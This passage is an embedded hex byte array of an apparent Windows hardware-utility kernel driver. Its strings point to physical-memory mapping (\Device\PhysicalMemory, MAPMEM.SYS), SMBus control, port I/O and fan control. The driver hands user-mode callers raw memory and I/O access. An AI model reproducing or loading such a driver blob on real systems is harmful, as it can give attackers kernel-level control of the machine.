0xE8, 0x83, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x5A, 0x40, 0x02, - 0xF6, 0x8D, 0x53, 0x04, 0x40, 0xFE, 0xC6, 0x40, 0x8A, 0xC6, 0x8D, 0x73, - 0x05, 0xEE, 0x8D, 0x53, 0x03, 0x40, 0x8A, 0xC5, 0xEE, 0xB0, 0xFF, 0x0F, - 0xB7, 0xD3, 0xEE, 0x0F, 0xB7, 0xD6, 0xEE, 0xB0, 0x48, 0x8D, 0x53, 0x02, - 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x10, 0x8B, 0xC8, 0xBA, 0x80, - 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, 0xF2, - 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, - 0xE8, 0x2F, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x06, 0x0F, 0xB7, - 0xD6, 0xEC, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, - 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, - 0x20, 0x5F, 0xC3, 0xCC, 0xB0, 0x1F, 0x45, 0x0F, 0xB7, 0xD0, 0x41, 0xBB, - 0x01, 0x00, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0xCA, 0x66, 0x41, 0x03, 0xCB, - 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x1F, 0x74, 0x2E, 0x45, 0x0F, 0xB7, - 0xC9, 0x45, 0x85, 0xC9, 0x74, 0x10, 0x4D, 0x8B, 0xC1, 0xBA, 0x80, 0x00, - 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x4D, 0x2B, 0xC3, 0x75, 0xF3, 0x0F, 0xB7, - 0xD1, 0xB0, 0x1F, 0xEE, 0x45, 0x2B, 0xD3, 0x74, 0x0D, 0xEC, 0x3C, 0x10, - 0x74, 0x05, 0xEC, 0xA8, 0x1F, 0x75, 0xD6, 0x33, 0xC0, 0xC3, 0x83, 0xC8, - 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x56, 0x48, 0x83, 0xEC, 0x20, 0x0F, 0xB7, 0xEA, 0x33, 0xC0, 0x0F, 0xB7, - 0xD1, 0x45, 0x0F, 0xB7, 0xF0, 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x41, - 0x0F, 0xB7, 0xF9, 0xEE, 0x41, 0x0F, 0xB7, 0xD1, 0x0F, 0xB7, 0xD9, 0xE8, - 0x70, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x6E, 0x33, 0xC0, 0x8D, - 0x73, 0x04, 0x0F, 0xB7, 0xD3, 0x41, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xEE, - 0xB0, 0xFF, 0x0F, 0xB7, 0xD6, 0xEE, 0x8D, 0x04, 0x6D, 0x00, 0x00, 0x00, - 0x00, 0x8D, 0x53, 0x02, 0xEE, 0x41, 0x8A, 0xC6, 0x8D, 0x53, 0x03, 0xEE, - 0xB0, 0x1F, 0x41, 0x8D, 0x14, 0x18, 0xEE, 0xB0, 0x07, 0x0F, 0xB7, 0xD3, - 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x0F, 0x8B, 0xC8, 0xBA, 0x80, - 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x49, 0x2B, 0xC8, 0x75, 0xF3, 0x44, - 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, 0xE8, - 0x10, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x0E, 0x0F, 0xB7, 0xD3, - 0xEC, 0x84, 0xC0, 0x75, 0x06, 0x0F, 0xB7, 0xD6, 0xEC, 0xEB, 0x02, 0x32, - 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, - 0x8B, 0x74, 0x24, 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, - 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0xC1, - 0x21, 0x00, 0x00, 0x75, 0x11, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, - 0xFF, 0xFF, 0x75, 0x02, 0x90, 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x01, - 0x00, 0x00, 0x00, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x83, 0x64, 0x24, - 0x20, 0x00, 0x48, 0x8B, 0xD1, 0x4C, 0x8B, 0x0D, 0x9C, 0x21, 0x00, 0x00, - 0xB9, 0xF7, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0x88, 0x21, 0x00, 0x00, - 0xFF, 0x15, 0x52, 0x12, 0x00, 0x00, 0xCC, 0xCC, 0xFF, 0x25, 0xEA, 0x11, - 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, - 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, - 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, - 0x40, 0x53, 0x41, 0x8B, 0x00, 0x48, 0x8B, 0xDA, 0x44, 0x8B, 0xD8, 0x4C, - 0x8B, 0xC9, 0x41, 0x83, 0xE3, 0xF8, 0x4C, 0x8B, 0xD1, 0xA8, 0x04, 0x74, - 0x13, 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, - 0x03, 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4A, - 0x8B, 0x14, 0x10, 0x48, 0x8B, 0x43, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x03, - 0x4B, 0x08, 0x8A, 0x41, 0x03, 0xA8, 0x0F, 0x74, 0x09, 0x0F, 0xB6, 0xC0, - 0x83, 0xE0, 0xF0, 0x4C, 0x03, 0xC8, 0x4C, 0x33, 0xCA, 0x49, 0x8B, 0xC9, - 0x5B, 0xE9, 0x36, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4D, 0x33, 0xDB, 0xFF, 0x25, 0xAF, 0x11, 0x00, - 0x00, 0xCC, 0x49, 0x83, 0xCB, 0x01, 0xEB, 0xF3, 0x49, 0x83, 0xCB, 0x02, - 0xEB, 0xED, 0x49, 0x83, 0xCB, 0x03, 0xEB, 0xE7, 0x49, 0x83, 0xCB, 0x04, - 0xEB, 0xE1, 0x49, 0x83, 0xCB, 0x05, 0xEB, 0xDB, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0x66, 0x90, 0x49, 0x8B, 0xC3, 0x48, 0x83, 0xE0, 0x07, 0x85, - 0xC0, 0x75, 0x10, 0x48, 0x8B, 0x14, 0x24, 0x64, 0x4C, 0x8B, 0x04, 0x24, - 0xB9, 0x2C, 0x00, 0x00, 0x00, 0xCD, 0x29, 0x3C, 0x03, 0x74, 0x1F, 0x4C, - 0x8B, 0xC1, 0x3C, 0x01, 0x74, 0x18, 0x4C, 0x8B, 0xC2, 0x3C, 0x02, 0x74, - 0x11, 0x4D, 0x8B, 0xC1, 0x3C, 0x04, 0x74, 0x0A, 0x4D, 0x8B, 0xC2, 0x3C, - 0x05, 0x74, 0x03, 0x4D, 0x33, 0xC0, 0x4C, 0x33, 0xD8, 0x49, 0x8B, 0x13, - 0xEB, 0xCE, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0x1F, 0x40, 0x00, - 0xFF, 0x25, 0x3A, 0x11, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x0F, 0x1F, 0x40, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x4C, 0x8B, 0xD9, 0x48, 0x2B, 0xD1, 0x0F, 0x82, 0xA2, 0x01, 0x00, 0x00, - 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x58, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, - 0x03, 0x74, 0x16, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x48, 0x8B, 0x04, 0x0A, - 0x48, 0x83, 0xC1, 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x41, 0xF8, 0x75, - 0xEF, 0x49, 0x83, 0xE0, 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x8A, 0x04, 0x0A, 0x48, 0xFF, 0xC1, 0x49, 0xFF, - 0xC8, 0x88, 0x41, 0xFF, 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x83, - 0xFA, 0x10, 0x72, 0x70, 0xF7, 0xD9, 0x83, 0xE1, 0x0F, 0x74, 0x0E, 0x4C, - 0x2B, 0xC1, 0xF3, 0x42, 0x0F, 0x6F, 0x04, 0x1A, 0xF3, 0x41, 0x0F, 0x7F, - 0x03, 0x49, 0x03, 0xCB, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, - 0x81, 0xF9, 0x00, 0x20, 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, - 0x49, 0x83, 0xE0, 0x1F, 0xF3, 0x0F, 0x6F, 0x04, 0x0A, 0xF3, 0x0F, 0x6F, - 0x4C, 0x0A, 0x10, 0x48, 0x83, 0xC1, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0xE0, - 0x66, 0x0F, 0x7F, 0x49, 0xF0, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x4F, - 0xFF, 0xFF, 0xFF, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, - 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, - 0xA3, 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0x48, 0xFF, 0xC1, - 0xF6, 0xC1, 0x0F, 0x75, 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, - 0xFA, 0x00, 0x02, 0x00, 0x00, 0x72, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, - 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, 0x48, 0x81, 0xC1, - 0x80, 0x00, 0x00, 0x00, 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xE9, 0x00, - 0x02, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x04, - 0x0A, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0x10, 0x66, 0x0F, 0xE7, 0x01, 0x66, - 0x0F, 0xE7, 0x49, 0x10, 0x48, 0x83, 0xC1, 0x40, 0xF3, 0x0F, 0x6F, 0x44, - 0x0A, 0xE0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xF0, 0x66, 0x0F, 0xE7, 0x41, - 0xE0, 0x66, 0x0F, 0xE7, 0x49, 0xF0, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, - 0xE8, 0x00, 0x02, 0x00, 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, - 0x73, 0x99, 0xF0, 0x80, 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, - 0xE9, 0x05, 0x0F, 0x85, 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x79, 0xFE, 0xFF, - 0xFF, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x49, 0x03, - 0xC8, 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x4F, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, - 0xE9, 0x03, 0x74, 0x11, 0x48, 0x8B, 0x44, 0x0A, 0xF8, 0x48, 0x83, 0xE9, - 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x01, 0x75, 0xEF, 0x49, 0x83, 0xE0, - 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x8A, 0x44, 0x0A, 0xFF, 0x48, 0xFF, 0xC9, 0x49, 0xFF, 0xC8, 0x88, 0x01, - 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x48, 0x83, 0xFA, 0xF0, 0x77, 0x74, 0x48, 0x8B, 0xC1, 0x83, - 0xE1, 0x0F, 0x74, 0x11, 0x4C, 0x2B, 0xC1, 0x48, 0xF7, 0xD9, 0xF3, 0x0F, - 0x6F, 0x44, 0x02, 0xF0, 0xF3, 0x0F, 0x7F, 0x40, 0xF0, 0x48, 0x03, 0xC8, - 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, 0x81, 0xF9, 0x00, 0x20, - 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, 0x49, 0x83, 0xE0, 0x1F, - 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xE0, - 0x48, 0x83, 0xE9, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0x10, 0x66, 0x0F, 0x7F, - 0x09, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x54, 0xFF, 0xFF, 0xFF, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, 0xA3, 0x48, 0xFF, 0xC9, - 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0xF6, 0xC1, 0x0F, 0x75, - 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, 0xFA, 0x00, 0xFE, 0xFF, - 0xFF, 0x77, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, 0x48, 0x81, 0xE9, 0x80, - 0x00, 0x00, 0x00, 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, - 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xC1, 0x00, 0x02, 0x00, 0x00, 0xB8, - 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, - 0x6F, 0x4C, 0x0A, 0xE0, 0x66, 0x0F, 0xE7, 0x41, 0xF0, 0x66, 0x0F, 0xE7, - 0x49, 0xE0, 0x48, 0x83, 0xE9, 0x40, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0x10, - 0xF3, 0x0F, 0x6F, 0x0C, 0x0A, 0x66, 0x0F, 0xE7, 0x41, 0x10, 0x66, 0x0F, - 0xE7, 0x09, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, 0xE8, 0x00, 0x02, 0x00, - 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, 0x73, 0x99, 0xF0, 0x80, - 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x0F, 0x85, - 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x7E, 0xFE, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, - 0x2C, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, - 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x47, 0x73, 0x60, - 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE1, 0xF8, 0x49, 0x03, 0xC9, 0x49, 0x89, - 0x54, 0x01, 0xF8, 0x49, 0x83, 0xE9, 0x08, 0x75, 0xF5, 0x49, 0x83, 0xE0, - 0x07, 0x74, 0x0F, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x41, 0x88, 0x54, 0x08, - 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, 0x90, 0xC3, 0x66, 0x66, 0x66, 0x66, - 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, - 0xF7, 0xD9, 0x83, 0xE1, 0x07, 0x74, 0x06, 0x4C, 0x2B, 0xC1, 0x48, 0x89, - 0x10, 0x48, 0x03, 0xC8, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x03, 0x4D, - 0x8B, 0xD1, 0x49, 0xC1, 0xEA, 0x03, 0x49, 0x83, 0xE1, 0x07, 0x74, 0x1C, - 0x49, 0x83, 0xE9, 0x08, 0x4A, 0x8D, 0x0C, 0xC9, 0x49, 0xF7, 0xD9, 0x49, - 0xFF, 0xC2, 0x4C, 0x8D, 0x1D, 0x06, 0x00, 0x00, 0x00, 0x4F, 0x8D, 0x1C, - 0x8B, 0x41, 0xFF, 0xE3, 0x48, 0x89, 0x11, 0x48, 0x89, 0x51, 0x08, 0x48, - 0x89, 0x51, 0x10, 0x48, 0x89, 0x51, 0x18, 0x48, 0x89, 0x51, 0x20, 0x48, - 0x89, 0x51, 0x28, 0x48, 0x89, 0x51, 0x30, 0x48, 0x89, 0x51, 0x38, 0x48, - 0x83, 0xC1, 0x40, 0x49, 0xFF, 0xCA, 0x75, 0xD8, 0x49, 0x83, 0xE0, 0x07, - 0x74, 0x0A, 0x41, 0x88, 0x54, 0x08, 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, - 0x90, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, - 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5C, 0x00, - 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x73, 0x00, - 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, - 0x73, 0x00, 0x5C, 0x00, 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, - 0x53, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x50, 0x56, 0x4F, 0x49, 0x44, - 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, - 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, - 0x6C, 0x6C, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, 0x0A, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, - 0x72, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, - 0x64, 0x20, 0x3A, 0x28, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x70, 0x75, - 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x4C, 0x65, 0x6E, 0x67, 0x74, - 0x68, 0x3D, 0x25, 0x64, 0x2C, 0x73, 0x7A, 0x69, 0x65, 0x6F, 0x66, 0x28, - 0x50, 0x56, 0x4F, 0x49, 0x44, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, - 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, - 0x6C, 0x6C, 0x79, 0x20, 0x75, 0x6E, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, - 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x5A, 0x77, 0x55, 0x6E, - 0x6D, 0x61, 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, - 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x0A, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x53, - 0x4D, 0x42, 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x53, 0x4D, 0x42, - 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x00, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x49, 0x6E, 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, - 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, - 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, - 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, - 0x61, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, - 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, 0x61, 0x64, 0x20, 0x25, 0x64, 0x20, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x57, 0x72, - 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x77, 0x72, 0x69, 0x74, 0x65, 0x20, 0x25, 0x64, 0x20, 0x74, 0x6F, 0x20, - 0x25, 0x64, 0x00, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x49, 0x4F, 0x20, - 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x68, 0x00, 0x79, 0x00, 0x73, 0x00, - 0x69, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4D, 0x00, 0x65, 0x00, - 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0xCC, 0xCC, - 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x3D, 0x30, 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, - 0x72, 0x65, 0x64, 0x20, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, - 0x4F, 0x4E, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, - 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x4F, 0x46, 0x46, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 